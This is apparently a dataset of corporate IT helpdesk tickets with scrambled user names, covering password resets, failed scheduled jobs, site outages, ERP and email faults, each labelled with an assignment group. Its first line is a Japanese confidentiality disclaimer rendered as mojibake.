æœ¬é€šä¿¡ã¯è¨˜è¼‰ã•ã‚ŒãŸäººç‰©ã®ã¿ã‚’å¯¾è±¡ã¨ã—ã¦ä½¿ç”¨ã•ã‚Œã‚‹ã‚‚ã®ã¨ã—ã€ç‰¹æ¨©çš„ã‹ã¤æ©Ÿå¯†æƒ…å ±ã‚’å«ã¿ã€é©ç”¨ã•ã‚Œã‚‹æ³•å¾‹ã«åŸºã¥ã„ãŸæƒ…å ±é–‹ç¤ºã‹ã‚‰é™¤å¤–ã•ã‚Œã‚‹ã‚‚ã®ã¨ã—ã¾ã™ã€‚æ­£å½“ãªå—å–äººä»¥å¤–ã®ã„ã‹ãªã‚‹ç¬¬ä¸‰è€…ã«ã‚ˆã‚‹æœ¬é€šä¿¡ã®é…å¸ƒã€æµé€šã€å†è²©ã¯å›ºãç¦ã˜ã‚‰ã‚Œã¦ã„ã¾ã™ã€‚ã¾ãŸæœ¬é€šä¿¡ãŒèª¤ã£ã¦é€ä¿¡ã•ã‚ŒãŸå ´åˆã¯ã€é€ä¿¡è€…ã«é€£çµ¡ã®ä¸Šã€æœ¬é€šä¿¡ã‚’å‰Šé™¤ã—ã¦ãã ã•ã„ã€‚
[#+company/posts> [
select the following link to view the disclaimer in an alternate language. , is assigned to Assignment group: GRP\_14.Ticket with Short description: office has to be upgraded to 2016, Description: office has to be upgraded to 2016, is assigned to Assignment group: GRP\_0.Ticket with Short description: reset passwords for bxeagsmt zrwdgsco using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: reset passwords for bxeagsmt zrwdgsco using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: look for identifying the root cause & solution - inter-co intransit 8058329437, Description: dn 9169430548 has been received on august 11, 2014 but the same dn, mm#, qty have arrived on october 3, 2016. duplicated. please help finding the root cause why the duplicated dn could have been pgi'd. since the dn was already received, plant\_317 is not able to perform the gr against this intransit, please provide the best solution to process the gr., is assigned to Assignment group: GRP\_18.Ticket with Short description: engineering\_tool not working, Description: hello
please support our dealer for engineering\_tool installation. contact details below:
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: server access rights for hpmjtgik blrmfvyh, Description: help desk\_x000D\_
\_x000D\_
please usa an access right to hpmjtgik blrmfvyh to following folder :\_x000D\_
\_x000D\_
\\HostName\_47\departments\finance\_x000D\_
\_x000D\_
she is new staff for eh japan / finance department and i am her reportncqulao qauighdpnager.\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_12.Ticket with Short description: access to m drive, Description: please provide access to mtb mt sales drive .\_x000D\_
\_x000D\_
for any clarification pl call me back\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_12.Ticket with Short description: your mobile device is temporarily blocked from synchronizing using exchange activesync until your administrator usas i, Description: personal device.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: lbxugpjw cnmfbdui-mobile phone changed, Description: \_x000D\_
\_x000D\_
received from: lbxugpjw.cnmfbdui@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
\_x000D\_
i changed my mobile phone and below informations belong to my own personal phone.could you provide to use my new mobile phone device for mails.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: network outage:russia russia - warehouse network is down since 12:35 am et on 10/03/16 , Description: what type of outage: \_\_x\_\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_\_\_12:35 am et on 10/03/16 \_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_no\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_no\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_\_no\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_yes\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_no\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_na\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: account expired- vvamirsdwnp - pallutyr not able to log-in, Description: from: kuhyndan lalthy
sent: monday, october 03, 2016 9:52 am
to: nwfodmhc exurcwkm
cc: qjgnkhso vahgolwx
subject: re: user id : vvamirsdwnp - pallutyr not able to log-in
pallutyr who is having user id vvamirsdwnp not able to log-in the window etc. can you check it urgently? kindly provide access upto december 31, 2016.
, is assigned to Assignment group: GRP\_2.Ticket with Short description: lehsm012 & lehsm013 are down at at usa company since 4:16 am on 10/01 et, Description: lehsm012 & lehsm013 are down since 4:16 am on 10/01 et, is assigned to Assignment group: GRP\_12.Ticket with Short description: network port not working, Description: network port is not work and wifi network is very poor, is assigned to Assignment group: GRP\_19.Ticket with Short description: unable to post billing to account - billed quantity 0, Description: unable to post billing to account - billed quantity 0\_x000D\_
\_x000D\_
1325 ic5314 i 27.09.2016 ziv vvsallz 28.09.2016 ic5314 0159216101\_x000D\_
1325 ic5314 i 29.09.2016 ziv oprbatch 29.09.2016 ic5314 0159225544\_x000D\_
, is assigned to Assignment group: GRP\_13.Ticket with Short description: need help in changing password on password\_management\_tool, Description: need help in changing password on password\_management\_tool, is assigned to Assignment group: GRP\_0.Ticket with Short description: volume: c:\ label:sys-lhqsm68356 543aa385 on server: lhqsm68356 is over , Description: volume: c:\ label:sys-lhqsm68356 543aa385 on server: lhqsm68356 is over
85% space consumed. space available: 4.2 g , is assigned to Assignment group: GRP\_12.Ticket with Short description: job bkwin\_search\_server\_prod\_daily failed in job\_scheduler at: 10/02/2016 23:20:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bkwin\_search\_server\_prod\_daily failed in job\_scheduler at: 10/02/2016 23:20:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job hr\_payroll\_na\_u2 failed in job\_scheduler at: 10/02/2016 23:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job hr\_payroll\_na\_u2 failed in job\_scheduler at: 10/02/2016 23:00:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: job hr\_payroll\_na\_u6 failed in job\_scheduler at: 10/02/2016 23:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job hr\_payroll\_na\_u6 failed in job\_scheduler at: 10/02/2016 23:00:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: job hr\_payroll\_na\_u1 failed in job\_scheduler at: 10/02/2016 23:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job hr\_payroll\_na\_u1 failed in job\_scheduler at: 10/02/2016 23:00:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: reset passwords for prgewfly ndtfvple using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: HostName\_206:volume: /dev/SID\_56ora is over 98% space consumed. , Description: HostName\_206: volume: /dev/SID\_56ora on server: HostName\_206 is over 98% space consumed. space available: 491 m, is assigned to Assignment group: GRP\_1.Ticket with Short description: always upservice.exe is not running on HostName\_521, Description: always upservice.exe is not running on HostName\_521, is assigned to Assignment group: GRP\_14.Ticket with Short description: wireless outage again-taiwan 1003, Description: \_x000D\_
\_x000D\_
received from: ticqvhal.vgokzesi@gmail.com\_x000D\_
\_x000D\_
hello~\_x000D\_
\_x000D\_
wireless(companysecure) outage of taiwan.\_x000D\_
please help~\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_4.Ticket with Short description: job Job\_2549 failed in job\_scheduler at: 10/02/2016 20:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2549 failed in job\_scheduler at: 10/02/2016 20:00:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: job Job\_562 failed in job\_scheduler at: 10/02/2016 17:36:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_562 failed in job\_scheduler at: 10/02/2016 17:36:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: zifujpvr vxfkwaqh, Description: \_x000D\_
\_x000D\_
received from: makiosjc.kxapdhnm@gmail.com\_x000D\_
\_x000D\_
zifujpvr vxfkwaqh's email is not working. can i get an update on this? his email is still not working.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_3049 failed in job\_scheduler at: 10/02/2016 13:56:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3049 failed in job\_scheduler at: 10/02/2016 13:56:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job snp\_heu\_2\_regen failed in job\_scheduler at: 10/02/2016 12:20:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job snp\_heu\_2\_regen failed in job\_scheduler at: 10/02/2016 12:20:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: email not working - "the server couldn't be contacted" message, Description: contact phone -
company email not working - "the server couldn't be contacted" error message
owa also not working, is assigned to Assignment group: GRP\_0.Ticket with Short description: ie browser issue : website not loading its contents completely, Description: ie browser issue : website not loading its contents completely, is assigned to Assignment group: GRP\_0.Ticket with Short description: job bwhrattr failed in job\_scheduler at: 10/02/2016 10:15:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bwhrattr failed in job\_scheduler at: 10/02/2016 10:15:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: frequent account lock out , Description: frequent account lock out \_x000D\_
ran lock out status..\_x000D\_
account was getting locked out from one of the wifi devices..\_x000D\_
took control of machine and started credential manager services..\_x000D\_
deleted bunch of passwords saved in credential manager ..\_x000D\_
asked user to remove company secure from mobile device and keep wifi disabled for couple of days..and can enable it when at home.\_x000D\_
also undocked computer and docked it back ..tried login in..it worked...\_x000D\_
locked system and unlocked it with no difficulty..\_x000D\_
keeping account/ticket under observation.\_x000D\_
arranging call back tomorrow as i will be ooo. , is assigned to Assignment group: GRP\_0.Ticket with Short description: cannot access mail from any device using owa or outlook, Description: i lost access to mail on 9/29. i went in and checked the o365 setting for my account and found the error attached (error1) on my account. i removed my e5 license and applied and e4 to see if that would resolve the issue but i still can't get into my email. if i try accessing my account via owa i get attrachment error2\_x000D\_
\_x000D\_
this may be an issue with all e5 licenses, they have all expired. i cannot receive email so i will not receive any replies or emails concerning this ticket., is assigned to Assignment group: GRP\_26.Ticket with Short description: reminder for approval of requisition 01453742 , already approved this request in erp, Description: reminder for approval of requisition 01453742 , already approved this request in erp, is assigned to Assignment group: GRP\_29.Ticket with Short description: job Job\_3049 failed in job\_scheduler at: 10/02/2016 03:37:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3049 failed in job\_scheduler at: 10/02/2016 03:37:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_3051 failed in job\_scheduler at: 10/02/2016 03:39:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3051 failed in job\_scheduler at: 10/02/2016 03:39:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job pp\_EU\_tool\_netch\_ap1 failed in job\_scheduler at: 10/02/2016 01:28:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job pp\_EU\_tool\_netch\_ap1 failed in job\_scheduler at: 10/02/2016 01:28:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: only erp running slow in Israel.internet is working fine., Description: only erp running slow.
internet is working fine.
all transactions are running slow.
contact # :
erp system : SID\_34 (all transactions)
checking with dac team.
, is assigned to Assignment group: GRP\_14.Ticket with Short description: job Job\_1142 failed in job\_scheduler at: 10/02/2016 00:14:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1142 failed in job\_scheduler at: 10/02/2016 00:14:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: job mm\_zscr0099\_wkly\_qux1 failed in job\_scheduler at: 10/02/2016 00:11:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job mm\_zscr0099\_wkly\_qux1 failed in job\_scheduler at: 10/02/2016 00:11:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job pp\_EU\_tool\_netch\_keheu1 failed in job\_scheduler at: 10/02/2016 00:09:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job pp\_EU\_tool\_netch\_keheu1 failed in job\_scheduler at: 10/02/2016 00:09:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: want to make sure if erp is in maintenance right now, Description: name:kvrmnuix yicpojmf
language:
browser:microsoft internet explorer
email:qiwthyang@company.com
customer number:
telephone:
summary:cannot connect to company server, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1665 failed in job\_scheduler at: 10/01/2016 18:25:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1665 failed in job\_scheduler at: 10/01/2016 18:25:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job oemcold failed in job\_scheduler at: 10/01/2016 15:09:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job oemcold failed in job\_scheduler at: 10/01/2016 15:09:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_1108w failed in job\_scheduler at: 10/01/2016 15:09:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1108w failed in job\_scheduler at: 10/01/2016 15:09:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_3049 failed in job\_scheduler at: 10/01/2016 14:26:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3049 failed in job\_scheduler at: 10/01/2016 14:26:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: call conference to nahytu, Description: call conference to nahytu, is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset alert from o365, Description: password reset alert from o365, is assigned to Assignment group: GRP\_0.Ticket with Short description: the e-mail account of horeduca ogrhivnm has come up in my outlook folders., Description: this is a serious breach of security as she is in hr. please correct immediately, is assigned to Assignment group: GRP\_26.Ticket with Short description: reset passwords for wxdvjoct ckxwtoam using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: when trying to hit the one note button on existing crm opportunities, it gives attached errir message , Description: ms crm dynamics issue : collaboration\_platform not mfg\_toolting with crm\_x000D\_
enabled collaboration\_platform and collaboration\_platform mfg\_tooltion: saved changes, no go\_x000D\_
added site to compatibility mode , reset , cleared cookies cache ..no go...\_x000D\_
user not really sure if this worked before in past., is assigned to Assignment group: GRP\_40.Ticket with Short description: nan, Description: \_x000D\_
\_x000D\_
received from: ohdrnswl.rezuibdt@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
link is not working. kindly resolve yhe issue on urgent basis.\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_34.Ticket with Short description: reset passwords for ytzpxhql ntfxgpms using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: erp password reset : SID\_37, Description: erp password reset : SID\_37, is assigned to Assignment group: GRP\_0.Ticket with Short description: vpn issue , Description:
summary:i can not log into the vpn for na, is assigned to Assignment group: GRP\_0.Ticket with Short description: windows account was locked out : unlocked account, Description: windows account was locked out : unlocked account, is assigned to Assignment group: GRP\_0.Ticket with Short description: engineering\_tool installation for sathyrui shiragavi user id :; cpinsety01 and cpinsety02 channel partner - inspiron enterprise, Description: replied to email sending instructions how to install engineering\_tool, is assigned to Assignment group: GRP\_0.Ticket with Short description: problem when clicking on the shop link in purchasing when using internet explorer., Description:
from: alkuozfr bhqgdoiu
sent: saturday, october 01, 2016 4:35 pm
to: zbpdhxvk nowxjztk; mpihysnw wrctgoan
cc: aghynilthykurtyar gorlithy; inxsupmy zhwmifvx; oxlqvika zrvbahym; rujteoza mcoswhjuanthila; dctviemg muapxkns; wfgtyill hannathry; nwfodmhc exurcwkm
subject: re: ie issues encountered
all,
i am getting this problem when clicking on the shop link in purchasing when using internet explorer.
there is an error message that pops up. i should get a list of the catalogs but i do not.
it sends me to the below screen (second screen shot). not sure if this is my problem or more widespread
, is assigned to Assignment group: GRP\_29.Ticket with Short description: reisekostenabrechnung in erp nicht mÃ¶glich!, Description: \_x000D\_
\_x000D\_
received from: byclpwmv.esafrtbh@gmail.com\_x000D\_
\_x000D\_
hallo,\_x000D\_
\_x000D\_
reisekostenabrechnung in erp leider nicht mÃ¶glich. siehe fehlermeldung unten:\_x000D\_
[cid:image001.jpg@01SID\_35be6.bd6e34b0]\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
mit freundlichen grÃ¼ÃŸen / best , is assigned to Assignment group: GRP\_10.Ticket with Short description: power outage : usa- (company) site hard down since 4:15 am et on 10/01, Description: what type of outage: \_\_x\_\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_no\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_\_4:15 am et on 10/01\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_no\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_no\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_no\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_no\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: engineering\_tool new customer creation please refer : inplant\_864166, Description: \_x000D\_
\_x000D\_
received from: skmdgnuh.utgclesd@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
\_x000D\_
still i am not able create new customer in engineering\_tool, please resolve the issues at the earliest.\_x000D\_
\_x000D\_
\_x000D\_
[cid:image001.png@01SID\_35be1.7d820430]\_x000D\_
\_x000D\_
with warm , is assigned to Assignment group: GRP\_25.Ticket with Short description: have problem to access erp hana-urgent, Description: \_x000D\_
\_x000D\_
received from: neokfwiy.ufriscym@gmail.com\_x000D\_
\_x000D\_
dear it,\_x000D\_
\_x000D\_
same issue repeated again, have problem to use the programdnty.\_x000D\_
\_x000D\_
please help to solve the issue aerp, need to run & submit the report on oct 3, 2016\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: email id: spelling error, Description: \_x000D\_
\_x000D\_
received from: santthyumar.shtyhant@company.com\_x000D\_
\_x000D\_
dear sir/madam,\_x000D\_
\_x000D\_
there is a correction needed in spelling of my email id\_x000D\_
\_x000D\_
existing email id: santthyumar.shtyhant@company.com<mailto:santthyumar.shtyhant@company.com>\_x000D\_
\_x000D\_
email id to be changed to: ploxzuts.utvimnwo@gmail.com<mailto:ploxzuts.utvimnwo@gmail.com>\_x000D\_
\_x000D\_
pl do the needful\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_2.Ticket with Short description: job bkwin\_infonet1\_full failed in job\_scheduler at: 10/01/2016 01:39:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bkwin\_infonet1\_full failed in job\_scheduler at: 10/01/2016 01:39:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: windows account locked , Description: windows account locked , is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_564 failed in job\_scheduler at: 10/01/2016 00:04:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_564 failed in job\_scheduler at: 10/01/2016 00:04:00 , is assigned to Assignment group: GRP\_8.Ticket with Short description: network outage : engineering\_toolkuznetsk warehouse - site hard down since 6:32 pm et on 09/30., Description: what type of outage: \_\_x\_\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_\_no\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_\_6:32 pm et on 09/30.\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_no\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_no\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_\_no\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_no\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: job bkbackup\_tool\_HostName\_768\_prod\_full failed in job\_scheduler at: 09/30/2016 23:59:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bkbackup\_tool\_HostName\_768\_prod\_full failed in job\_scheduler at: 09/30/2016 23:59:00 , is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_534 failed in job\_scheduler at: 10/01/2016 01:04:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_534 failed in job\_scheduler at: 10/01/2016 01:04:00 , is assigned to Assignment group: GRP\_8.Ticket with Short description: job hr\_payroll\_na\_u1 failed in job\_scheduler at: 09/30/2016 23:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job hr\_payroll\_na\_u1 failed in job\_scheduler at: 09/30/2016 23:00:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: job hr\_payroll\_na\_u2 failed in job\_scheduler at: 09/30/2016 23:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job hr\_payroll\_na\_u2 failed in job\_scheduler at: 09/30/2016 23:00:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: job Job\_2551 failed in job\_scheduler at: 09/30/2016 23:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2551 failed in job\_scheduler at: 09/30/2016 23:00:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job hr\_payroll\_na\_u6 failed in job\_scheduler at: 09/30/2016 23:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job hr\_payroll\_na\_u6 failed in job\_scheduler at: 09/30/2016 23:00:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: job SID\_56filesys failed in job\_scheduler at: 09/30/2016 22:24:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_56filesys failed in job\_scheduler at: 09/30/2016 22:24:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: i was on a skype call when programdnty locked up. after restarting computer several times i can not log into skype as it fre, Description: name:wpdxlbhz etvzjmhx
language:
browser:microsoft internet explorer
email:wpdxlbhz.etvzjmhx@gmail.com
customer number:
telephone:
summary:i was on a skype call when programdnty locked up. after restarting computer several times i can not log into skype as it freezes every time.
also can not get speaker on laptop (2 in 1 dell device), is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_3186 failed in job\_scheduler at: 09/30/2016 20:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3186 failed in job\_scheduler at: 09/30/2016 20:00:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: laptop battery , Description: with full charge (indicates ~3hr 40 mint) but actual life ~ 2 hours. seeking replacement (original battery, two years old)\_x000D\_
model: e7240 (dell - asset number 404917)\_x000D\_
\_x000D\_
also rubber around screen is separating - can this be replaced/reattached - or should i super glue?, is assigned to Assignment group: GRP\_3.Ticket with Short description: vpv - i get this message when i try to log on to erp using my vpn lately. everything else works., Description:
received from: bwfhtumx.japznrvb@gmail.com
[cid:image001.jpg@01SID\_35b47.e1412191]
bwfhtumx japznrvb
regional controller
bwfhtumx.japznrvb@gmail.com<mailto:bwfhtumx.japznrvb@gmail.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: :i have a new laptop, and tried to log into , Description: name:danyhuie deyhtwet
language:
browser:microsoft internet explorer
email:rozsyfai.zncajubh@gmail.com
customer number:
telephone:
summary:i have a new laptop, and tried to log into
enter the employee recognition site, is assigned to Assignment group: GRP\_0.Ticket with Short description: engineering\_tool issue, Description: engineering\_tool issue.\_x000D\_
-connected to the user system using teamviewer.\_x000D\_
-educated the user on how to use the engineering\_tool.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: help to change the windows password using password\_management\_tool password tool., Description: help to change the windows password using password\_management\_tool password tool.\_x000D\_
-connected to the user system using teamviewer.\_x000D\_
-help the user login to the password\_manager\_tool password tool and change the passwords.\_x000D\_
-help the user to sync the psswords to the company network.\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to inwarehouse\_tool, Description: \_x000D\_
\_x000D\_
received from: nuhfwplj.ojcwxser@gmail.com\_x000D\_
\_x000D\_
i am unable to force the inwarehouse\_tool on the below, also. this too is consigned material and needs to inwarehouse\_tool before the end of today.\_x000D\_
please help.\_x000D\_
\_x000D\_
[cid:image001.png@01SID\_35b32.40369391]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_13.Ticket with Short description: end of month billing, Description: \_x000D\_
\_x000D\_
received from: nuhfwplj.ojcwxser@gmail.com\_x000D\_
\_x000D\_
good afternoon,\_x000D\_
\_x000D\_
i am unable to force the billing for the below. this is consigned material and needs to inwarehouse\_tool before the end of today.\_x000D\_
please help.\_x000D\_
\_x000D\_
[cid:image001.png@01SID\_35b31.6e02a420]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_13.Ticket with Short description: password reset alert from o365 , Description: password reset alert from o365 , is assigned to Assignment group: GRP\_0.Ticket with Short description: global erp crm: any party change in complaint 7611184394 causes a blank screen upon saving, and the change is not saved, Description: global erp crm: any party change in complaint 7611184394 causes a blank screen upon saving, and the change is not saved.\_x000D\_
please investigate why this is happening and fix the problem., is assigned to Assignment group: GRP\_20.Ticket with Short description: ms crm dymanics : outlook client issue., Description:
